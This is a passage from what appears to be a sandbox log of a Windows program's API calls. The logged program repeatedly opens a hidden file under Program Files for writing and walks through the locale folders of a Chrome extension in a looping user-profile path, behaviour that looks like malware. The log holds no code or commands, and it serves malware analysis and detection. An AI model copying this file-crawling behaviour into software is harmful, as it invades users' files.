files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.426] GetFileType (hFile=0x19c) returned 0x1 [0132.427] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x209c4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0132.427] AreFileApisANSI () returned 1 [0132.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.427] GetFileType (hFile=0x19c) returned 0x1 [0132.427] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20ac6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.427] AreFileApisANSI () returned 1 [0132.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.427] GetFileType (hFile=0x19c) returned 0x1 [0132.427] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20bc8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.427] AreFileApisANSI () returned 1 [0132.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.427] GetFileType (hFile=0x19c) returned 0x1 [0132.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20cca, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.428] AreFileApisANSI () returned 1 [0132.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.428] GetFileType (hFile=0x19c) returned 0x1 [0132.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20dcc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.428] AreFileApisANSI () returned 1 [0132.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.428] GetFileType (hFile=0x19c) returned 0x1 [0132.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20ece, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.428] AreFileApisANSI () returned 1 [0132.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.429] GetFileType (hFile=0x19c) returned 0x1 [0132.429] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x20fd0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.429] AreFileApisANSI () returned 1 [0132.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.429] GetFileType (hFile=0x19c) returned 0x1 [0132.429] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x210d2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.429] AreFileApisANSI () returned 1 [0132.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.429] GetFileType (hFile=0x19c) returned 0x1 [0132.429] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x211d4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.430] AreFileApisANSI () returned 1 [0132.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.430] GetFileType (hFile=0x19c) returned 0x1 [0132.430] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x212d6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.430] AreFileApisANSI () returned 1 [0132.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.430] GetFileType (hFile=0x19c) returned 0x1 [0132.430] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x213d8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.430] AreFileApisANSI () returned 1 [0132.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.430] GetFileType (hFile=0x19c) returned 0x1 [0132.430] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x214da, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.431] AreFileApisANSI () returned 1 [0132.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.431] GetFileType (hFile=0x19c) returned 0x1 [0132.431] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x215dc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.431] AreFileApisANSI () returned 1 [0132.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.431] GetFileType (hFile=0x19c) returned 0x1 [0132.431] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x216de, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.431] AreFileApisANSI () returned 1 [0132.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.431] GetFileType (hFile=0x19c) returned 0x1 [0132.431] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x217e3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.431] AreFileApisANSI () returned 1 [0132.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.432] GetFileType (hFile=0x19c) returned 0x1 [0132.432] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x218e8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.432] AreFileApisANSI () returned 1 [0132.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.432] GetFileType (hFile=0x19c) returned 0x1 [0132.432] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x219ea, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.432] AreFileApisANSI () returned 1 [0132.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.432] GetFileType (hFile=0x19c) returned 0x1 [0132.432] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21aec, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.432] AreFileApisANSI () returned 1 [0132.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.433] GetFileType (hFile=0x19c) returned 0x1 [0132.433] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21bee, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.433] AreFileApisANSI () returned 1 [0132.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.433] GetFileType (hFile=0x19c) returned 0x1 [0132.433] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21cf0, 